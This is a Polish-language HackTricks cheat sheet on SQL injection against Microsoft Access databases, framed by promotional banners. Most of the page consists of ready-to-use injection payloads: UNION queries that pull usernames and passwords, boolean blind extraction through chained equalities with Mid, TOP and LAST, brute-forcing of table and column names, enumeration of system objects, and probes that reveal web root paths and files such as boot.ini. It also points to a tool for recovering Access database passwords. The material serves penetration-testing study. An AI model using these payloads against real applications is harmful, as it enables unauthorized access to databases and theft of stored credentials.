10 KiB
Wstrzykiwanie SQL w MS Access
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Online Playground
Ograniczenia bazy danych
Konkatenacja ciągów znaków
Konkatenacja ciągów znaków jest możliwa za pomocą znaków & (%26)
i + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Komentarze
W MS Access nie ma komentarzy, ale wydaje się, że można usunąć ostatnią część zapytania za pomocą znaku NULL:
1' union select 1,2 from table%00
Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:
1' UNION SELECT 1,2 FROM table WHERE ''='
Zapytania zagnieżdżone
Nie są obsługiwane.
LIMIT
Operator LIMIT
nie jest zaimplementowany. Jednakże, możliwe jest ograniczenie wyników zapytania SELECT do pierwszych N wierszy tabeli za pomocą operatora TOP
. TOP
przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę zwracanych wierszy.
1' UNION SELECT TOP 3 attr FROM table%00
Tak jak w przypadku TOP, można użyć LAST
, który pobierze wiersze od końca.
Zapytania UNION/Podzapytania
W SQLi zazwyczaj chcesz w jakiś sposób wykonać nowe zapytanie, aby wydobyć informacje z innych tabel. MS Access zawsze wymaga, aby w podzapytaniach lub dodatkowych zapytaniach wskazano FROM
.
Więc jeśli chcesz wykonać UNION SELECT
lub UNION ALL SELECT
lub SELECT
w nawiasach w warunku, zawsze musisz wskazać FROM
z prawidłową nazwą tabeli.
Dlatego musisz znać prawidłową nazwę tabeli.
-1' UNION SELECT username,password from users%00
Łączenie równości + Podciąg
{% hint style="warning" %} To pozwoli Ci na wydobycie wartości z bieżącej tabeli bez konieczności znajomości nazwy tabeli. {% endhint %}
MS Access pozwala na dziwną składnię, taką jak '1'=2='3'='asd'=false
. Jak zwykle, wstrzyknięcie SQL będzie znajdować się w klauzuli WHERE
, więc możemy to wykorzystać.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadujesz), że jedna z nazw kolumn to username, a to pole chcesz wydobyć. Możesz sprawdzić różne odpowiedzi aplikacji internetowej, gdy używana jest technika łączenia równości i potencjalnie wydobyć zawartość za pomocą wstrzyknięcia booleanowego, używając funkcji Mid
do pobierania podciągów.
'=(Mid(username,1,3)='adm')='
Jeśli znasz nazwę tabeli i kolumny, którą chcesz wydobyć, możesz użyć kombinacji funkcji Mid
, LAST
i TOP
, aby wyciec wszystkie informacje za pomocą boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Możesz to sprawdzić w internetowym środowisku testowym.
Brute-forcing nazw tabel
Za pomocą techniki łańcuchowego równania możesz również brute-force'ować nazwy tabel używając czegoś takiego jak:
'=(select+top+1+'lala'+from+<table_name>)='
Możesz również użyć bardziej tradycyjnej metody:
-1' AND (SELECT TOP 1 <table_name>)%00
Nie wahaj się sprawdzić tego w internetowym środowisku testowym.
- Wspólne nazwy tabel w Sqlmap: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Istnieje inna lista na stronie http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Próba siłowa nazw kolumn
Możesz próbować siłowo nazw bieżących kolumn za pomocą sztuczki z łańcuchowaniem równości z:
'=column_name='
Lub z użyciem group by:
-1' GROUP BY column_name%00
Lub możesz przeprowadzić brutalne przełamanie nazw kolumn innego tabeli za pomocą:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Wydobywanie danych
Już omówiliśmy technikę łączenia równości do wydobywania danych z bieżących i innych tabel. Ale istnieją inne sposoby:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
W skrócie, zapytanie używa instrukcji "if-then", aby wywołać "200 OK" w przypadku sukcesu lub "500 Internal Error" w przeciwnym razie. Wykorzystując operator TOP 10, można wybrać pierwszych dziesięć wyników. Następne użycie LAST pozwala uwzględnić tylko 10. krotkę. Na tej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Poprawiając indeks MID i TOP, możemy wyciągnąć zawartość pola "username" dla wszystkich wierszy.
Oparte na czasie
Inne interesujące funkcje
Mid('admin',1,1)
pobierz podciąg od pozycji 1 o długości 1 (początkowa pozycja to 1)LEN('1234')
pobierz długość ciągu znakówASC('A')
pobierz wartość ASCII znakuCHR(65)
pobierz ciąg znaków z wartości ASCIIIIF(1=1,'a','b')
jeśli toCOUNT(*)
Liczba elementów
Wyliczanie tabel
Z tutaj możesz zobaczyć zapytanie, które pobiera nazwy tabel:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Jednakże, należy zauważyć, że bardzo często można znaleźć Wstrzyknięcia SQL, gdzie nie masz dostępu do odczytu tabeli MSysObjects
.
Dostęp do systemu plików
Pełna ścieżka do katalogu głównego witryny
Wiedza o bezwzględnej ścieżce do katalogu głównego witryny może ułatwić dalsze ataki. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access odpowiada komunikatem o błędzie zawierającym pełną ścieżkę katalogu witryny.
Wyliczanie plików
Następujący wektor ataku może być używany do wnioskowania o istnieniu pliku na zdalnym systemie plików. Jeśli określony plik istnieje, MS Access wywołuje komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Innym sposobem na wyliczenie plików jest określenie elementu bazy danych.tabela. Jeśli określony plik istnieje, MS Access wyświetla komunikat o błędzie formatu bazy danych.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Odgadywanie nazwy pliku .mdb
Nazwa pliku bazy danych (.mdb) może być wywnioskowana za pomocą następującego zapytania:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Gdzie name[i] to nazwa pliku .mdb i realTable to istniejąca tabela w bazie danych. Chociaż MS Access zawsze wywoła komunikat o błędzie, możliwe jest rozróżnienie między nieprawidłową nazwą pliku a prawidłową nazwą pliku .mdb.
Łamacz hasła .mdb
Access PassView to darmowe narzędzie, które można użyć do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
Odwołania
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.